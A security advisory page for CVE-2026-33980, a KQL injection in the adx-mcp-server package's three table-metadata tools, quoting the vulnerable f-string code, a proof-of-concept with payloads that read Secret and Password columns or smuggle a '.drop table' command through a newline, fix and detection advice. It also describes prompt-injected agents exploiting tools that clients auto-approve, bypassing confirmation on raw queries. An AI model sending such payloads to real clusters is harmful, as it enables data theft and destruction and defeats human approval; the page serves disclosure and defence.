NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Other MCP servers and tools

CVE-2026-33980: Azure Data Explorer MCP Server: KQL Injection in multiple tools allows MCP client to execute arbitrary Kusto queries

highCVSS 3.1 8.3GHSA-vphc-468g-8rfp

adx-mcp-server 1.1.0 and earlier builds KQL queries from the table_name argument with f-strings in get_table_schema, sample_table_data and get_table_details. A user or a prompt-injected agent can run arbitrary Kusto queries and management commands against the Azure Data Explorer cluster. The package data lists no patched release.

Published Mar 27, 2026 · Updated Mar 30, 2026 · Analysis Oct 31, 2026

What an attacker can do

Each of the three tools pastes table_name straight into a query: f"{table_name} | getschema", f"{table_name} | sample {sample_size}" and f".show table {table_name} details". KQL chains operators with the pipe and treats a leading dot as a management command, so an attacker controls the query.

The advisory's examples: a table_name of sensitive_data | project Secret, Password | take 100 // reads columns from any table the server's credentials can see. The // comments out the rest. A value with a newline, such as users details followed by .drop table critical_data, runs a destructive management command through get_table_details.

The part that matters for agent setups is the trust boundary. The server also has an execute_query tool that takes raw KQL on purpose, and MCP clients may ask for confirmation on that tool while auto-approving the three that look like metadata inspection. The injection bypasses that approval gap. The attacker needs the ability to call these tools: a connected client, or a prompt injection that steers the agent. Damage is bounded by the Azure identity the server uses, and the CVSS 3.1 vector (8.3) shows high confidentiality and integrity impact.

Who is affected

The pip package adx-mcp-server, version 1.1.0 and earlier (the advisory cites commit 48b2933). Any deployment where an AI client can call get_table_schema, sample_table_data or get_table_details is exposed. Check the version:

pip show adx-mcp-server

adx-mcp-server

Ecosystem
PyPI
Affected
<= 1.1.0
Fixed in
No patched version yet
Check
pip show adx-mcp-server

How to fix it

The package data lists no patched version, so no release number can be given. Commit 0abe0ee55279 fixes the code on the repository. It adds validate_table_name(), an allowlist regex that accepts letters, digits and underscores, with dots only between segments such as database.table, and validate_sample_size(), which needs a positive integer. Install from a build that includes that commit, or watch for a release after 1.1.0. Until then, run the server with an Azure identity that has read-only access to the tables you want exposed, and require confirmation for every tool of this server.

How to tell if you were hit

Review the MCP server logs and the Azure Data Explorer query history for queries that contain pipes, // comments, newlines or management commands (starting with .) coming from these three tools. Look for table_name arguments that are not plain identifiers. Beam records MCP tool calls, so the raw arguments to these tools show up there, and its rules can flag them.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

adx-mcp-server (<= latest, commit 48b2933) contains KQL (Kusto Query Language) injection vulnerabilities in three MCP tool handlers: get_table_schema, sample_table_data, and get_table_details. The table_name parameter is interpolated directly into KQL queries via f-strings without any validation or sanitization, allowing an attacker (or a prompt-injected AI agent) to execute arbitrary KQL queries against the Azure Data Explorer cluster.

Details

The MCP tools construct KQL queries by directly embedding the table_name parameter into query strings:

Vulnerable code (permalink):

@mcp.tool(...)
async def get_table_schema(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | getschema"          # <-- KQL injection
    result_set = client.execute(config.database, query)
@mcp.tool(...)
async def sample_table_data(table_name: str, sample_size: int = 10) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f"{table_name} | sample {sample_size}"  # <-- KQL injection
    result_set = client.execute(config.database, query)
@mcp.tool(...)
async def get_table_details(table_name: str) -> List[Dict[str, Any]]:
    client = get_kusto_client()
    query = f".show table {table_name} details"     # <-- KQL injection
    result_set = client.execute(config.database, query)

KQL allows chaining query operators with | and executing management commands prefixed with .. An attacker can inject:

  • sensitive_table | project Secret, Password | take 100 // to read arbitrary tables
  • Newline-separated management commands like .drop table important_data via get_table_details
  • Arbitrary KQL analytics queries via any of the three tools

Note: While the server also has an execute_query tool that accepts raw KQL by design, the three vulnerable tools are presented as safe metadata-inspection tools. MCP clients may grant automatic access to "safe" tools while requiring confirmation for execute_query. The injection bypasses this trust boundary.

PoC

# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"

import json

# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
    "name": "get_table_schema",
    "arguments": {
        "table_name": "sensitive_data | project Secret, Password | take 100 //"
    }
}
print(json.dumps(tool_call, indent=2))

# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead

# Destructive example via get_table_details:
tool_call_destructive = {
    "name": "get_table_details",
    "arguments": {
        "table_name": "users details\n.drop table critical_data"
    }
}
# Resulting KQL:
#   .show table users details
#   .drop table critical_data details

Credited to romain-deperne.

Questions

Is there a fixed version of adx-mcp-server?

The package data lists none. The fix commit 0abe0ee55279 is on the repository and the commit diff contains no version bump.

Why does this matter if execute_query already runs raw KQL?

Clients may auto-approve the metadata tools and require a confirmation for execute_query. The injection gives raw query access through the tools that skip the prompt.

Can it delete data?

Yes, in the advisory's example. A newline in table_name for get_table_details can add a management command such as .drop table, if the server's Azure identity is allowed to run it.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Other MCP servers and tools vulnerabilities

All Other MCP servers and tools entries